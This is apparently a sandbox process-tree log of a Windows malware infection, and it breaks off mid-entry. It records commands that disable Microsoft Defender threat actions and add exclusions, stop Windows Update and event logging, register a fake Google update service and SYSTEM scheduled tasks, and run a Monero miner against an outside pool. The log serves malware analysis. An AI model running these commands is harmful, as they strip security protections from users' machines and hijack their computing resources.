        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        8⤵
        
        PID:3624
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:5740
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        10⤵
        
        PID:2688
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        8⤵
        
        PID:5960
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:6020
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:6084
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        8⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:5332
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:3576
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:5892
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        
        PID:5152
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6096
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        11⤵
        
        PID:2344
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        
        PID:5336
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:5396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3152
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:2028
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 04:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSD81B.tmp\Install.exe\" it /ytDdidNQNV 385118 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:4652
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        7⤵
        
        PID:5504
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        8⤵
        
        PID:5296
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        9⤵
        
        PID:4772
    - - C:\Users\Admin\Pictures\3yBlYhnii1YrzpAGVXzy9I23.exe
        
        "C:\Users\Admin\Pictures\3yBlYhnii1YrzpAGVXzy9I23.exe"
        5⤵
        
        PID:6060
      - C:\Users\Admin\AppData\Local\Temp\7zSFAA7.tmp\Install.exe
        
        .\Install.exe /tEdidDDf "385118" /S
        6⤵
        
        PID:4788
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:4284
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        8⤵
        
        PID:1976
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:4744
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:6032
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        8⤵
        
        PID:4472
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:1780
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        10⤵
        
        PID:3644
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        8⤵
        
        PID:2064
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:8
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:5516
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        8⤵
        
        PID:3580
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:3792
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:6056
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:3524
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        
        PID:3316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5032
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        11⤵
        
        PID:2604
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        
        PID:5256
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:4680
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5016
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:3964
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 04:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSFAA7.tmp\Install.exe\" it /INxdidfVsD 385118 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:208
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        7⤵
        
        PID:1236
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        8⤵
        
        PID:4056
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        9⤵
        
        PID:5360
    - - C:\Users\Admin\Pictures\cRPagumMH9OQNUUxiBEL0EFv.exe
        
        "C:\Users\Admin\Pictures\cRPagumMH9OQNUUxiBEL0EFv.exe"
        5⤵
        
        PID:920
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:4084
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:4784
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:5724
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:2424
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:3356
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:5480
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:2440
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        
        PID:1624
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        
        PID:3932
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        
        PID:3416
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        
        PID:5912
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        6⤵
        Launches sc.exe
        
        PID:4556
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:5964
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:2424
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        6⤵
        Launches sc.exe
        
        PID:2368
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
      4⤵
      PID:5452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4032 -ip 4032
1⤵
PID:2564

C:\Program Files (x86)\GameStabilityService\GameService.exe
"C:\Program Files (x86)\GameStabilityService\GameService.exe"
1⤵
PID:3336
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:2408
- - C:\Windows\Temp\631389.exe
    "C:\Windows\Temp\631389.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 86Adxfq6AnkKUZNQwBuLMF9HYKxy399q4GoNvX86ddj4DNkHhKaPCWagERDeBPVYSw76hQwZATyV8GAWhX5g2ujETX6AWcp --coin XMR -t 1 --no-color -p x
    3⤵
    PID:5648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3532 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:3
1⤵
PID:4340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5944 -ip 5944
1⤵
PID:5704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5944 -ip 5944
1⤵
PID:5356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5944 -ip 5944
1⤵
PID:3652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:636

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
1⤵
PID:876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5944 -ip 5944
1⤵
PID:5340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5944 -ip 5944
1⤵
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5944 -ip 5944
1⤵
PID:2176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5944 -ip 5944
1⤵
PID:1964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5944 -ip 5944
1⤵
PID:2532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5944 -ip 5944
1⤵
PID:5368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5944 -ip 5944
1⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\7zSD81B.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSD81B.tmp\Install.exe it /ytDdidNQNV 385118 /S
1⤵
PID:3564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:2216
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:2308
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:3324
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5160
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:2152
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4268
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5196
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5768
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5868
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4072
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3356
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:3588
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2728
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5340
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5688
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2328
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:4744
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2064
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2572
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3216
- - C:\Windows\SysWOW64\reg.exe
